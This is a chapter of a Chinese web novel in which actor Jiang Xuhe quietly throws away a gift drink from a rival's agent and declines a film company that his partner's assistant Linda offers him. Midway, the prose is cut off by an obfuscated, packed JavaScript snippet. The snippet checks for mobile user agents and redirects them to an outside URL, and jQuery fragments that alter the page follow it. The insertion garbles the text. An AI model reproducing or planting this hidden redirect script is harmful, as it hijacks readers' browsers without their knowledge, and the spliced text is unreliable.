张梓宸实在是太顺了,顺得几乎没有经受过这个圈子的拜高踩低、逢人下菜,还以为自己可以无往而不利。 现在是时候压压他的心气,不让他飘得太高了。 不然真以为自己攀上了贵人就能无法无天,把人都得罪完了,以后还混不混了? 再说了,最该无法无天的那位都还在老老实实拍戏呢。 经纪人叹了口气,不再言语,想到那位言语温和的影帝,心底很是羡慕某位深藏功与名的同行。 * 江叙和拍完今天第一场戏,刚走到休息室,张梓宸的经纪人就拎了个牛皮纸袋走过来。 “江老师,”经纪人笑得恰到好处,“问了您的助理,知道您在控制体重,不敢给您点菜,这个是现榨的羽衣甘蓝汁,特意加了点蜂蜜,您润润嗓子。” 江叙和道了谢接过,余光瞥见站在一旁的张梓宸今天脸上也有了笑影儿,看来他的经纪人已经把他收拾服帖了。 往房车走的路上,江叙和注意到片场里不知何时开进来两辆餐车,旁边摆了一溜长条的桌子,上面放着成堆的奶茶和小吃。 陈铮、又是陈铮,没想到这人硬汉的外表下隐藏着一颗八卦到不行的心,他凑过来悄悄跟江叙和说:“张老师请客的,说是这几天耽误了大家不少工作,给大家赔不是。” 他顿了顿,又感叹:“他这经纪人倒挺会来事儿的,之前也没听说过他这么会做人啊。” 见江叙和面露不解,他也乐于解惑,原来是这个经纪人之前手下有个女艺人,据说超爱耍大牌,经纪人竟然也由着她,还用各种离谱的借口为她推掉了不少时尚杂志的拍摄,害得他手下的艺人全部被时尚圈封杀了,直到他带了张梓宸局面才重新打开。 “时也运也啊,”陈铮很是感慨,“他跟张梓宸也算是互相成就了。” 可惜江叙和是真不爱在背后议论人,陈铮和他聊了这么久,都是自己在输出,难免有种热face贴上冷臀部的感觉,讪笑了下: “算啦,我去拍戏了,不打扰你休息了,江老师。” 江叙和回到自己的房车上,助理小秦已经摆好了满当当一桌健康餐,都是酒店里现做送过来的。他把手上那瓶绿油油的羽衣甘蓝汁放到一边,出于谨慎,他从来不吃不熟悉的人送的食物。 吃完午饭,小秦会意地倒出来一点汁液泼掉,将整瓶饮料混在午餐的垃圾里一起打包。 随后他转到另一台房车上休息。 没错,就是这么奢侈,奢侈到连江叙和都觉得自己很过分。但他在有饭味儿的地方就是睡不好,这个习惯连他自己都没发现,还是某一年谢明夷来探班时察觉的。 从那以后,他拍戏时现场永远停着两辆房车,一辆用餐,一辆休息。 * 今天没有夜戏,下午收工时,小秦告诉他:“江老师,林总来了,在酒店等您。” 林总就是Linda,谢明夷的工作助理放在其他人面前也是妥妥领导一枚。 其实她早就到了,但不敢打扰江叙和拍戏,只把小秦叫去仔细的询问了江老师最近的生活起居情况,又亲力亲为的把带来的新鲜水果塞满了江叙和酒店房间的冰箱。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643307|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人见上面,Linda恭敬地欠身:“江老师,我来看看您在这边习不习惯,有什么我们做得不到位的地方。” 江叙和语气平淡:“这种小事,线上随便问一句就好,何必让你这个大忙人亲自跑一趟?” Linda莫名有些心虚,她总觉得江老师虽然什么都不说,却什么都知道,甚至包括自己这几天给那个小爱豆安排住处的事情。 “怎么会呢?”她陪着笑,“照顾您和Boss就是我的本职工作,其实这也是Boss的意思。只是他最近特别忙,要不然就亲自过来探班了。” 江叙和不置可否地笑了笑。 Linda递上一份文件:“其实这回我过来还有另一件事,这是我起草的一份企划案,想请您审阅,看看是否妥当。” 江叙和翻开一看,竟是一家全新影视公司的成立方案。 Linda解释:“ Boss原本打算注资控股一家成熟娱乐公司,有family office(注)背调了所有有融资意向的潜在合作对象后觉得都不太合适。没有融资意向的主动接洽性价比又不高,所以打算单独出资成立一家。” 江叙和粗略的翻了翻,这份企划案做得极其专业,从CEO、CFO、PR团队、经纪人等关键角色的挖角名单,到未来三年的投资方向都规划得清清楚楚,完全是奔着组建一家行业内头部企业去的。 但是这跟他有什么关系呢? 他合上文件:“明夷没和我提过这事,这是他的投资,我想我也不需要了解。” Linda脸上标准的职业笑容僵了一瞬,很快又无缝衔接:“可是江老师,这家公司的股份, Boss是准备全部赠予您的。” 江叙和的神色变得微妙:“他送我这个干什么?” Linda开玩笑:“可能是担心您在娱乐圈单打独斗的受欺负呗……” 还没说完她就意识到失言了,抬眼紧张地看着他。 江叙和笑了起来:“哇,原来是分手礼物啊。” “我不是这个意思!” Linda急忙否认,一脸的我不是我没有。 看着她慌乱的样子,江叙和轻笑:“放心吧,我不会在明夷面前多嘴的。” Linda选择安静如鸡。 他没有再看那份方案:“近期我的确有在筹划个人工作室,但没有成立公司的打算,怕摊子一下子铺得太大收不住。” 看着Linda脸上逐渐放大的惊恐,他顿了一下:“放心,这件事我会自己告诉明夷。” Linda松了一大口气,她还没有勇敢到可以给boss主动汇报这个劲爆消息的地步。 只是…… Linda不死心,还想劝几句:“江老师,按照现有的方案,您可以只拿分红,不用操心公司具体的运营,谢家的family office那边会持续跟进后续的工作……” 有谢家的荫庇,当然比单打独斗成立什么工作室要强,就算有影帝的光环加身,可在资本的游戏里这又算得了什么? “说真的,这对您而言是一个更好的选择。” “我会自己处理。”对此,江叙和只是温和而坚定地重复。 Linda没办法,只好收起了文件,起身告辞:“那我就先回去了,江老师,冰箱里放的都是你爱吃的水果,记得让小秦给你加餐。” 她匆匆往门外走,江叙和却忽然开口,喊了她几乎不被人提起的中文名:“谢谢你提醒我,小霞。” 他心里清楚,身为下属, Linda一定有很多的不得已,这些暗示已经是她能做到的全部了。 Linda眼眶一热,赶紧找了个借口离开。 关门前,她回头看了一眼江老师依旧温柔的侧脸,心里忍不住的感叹: Boss啊Boss,您是真的有够不当人的。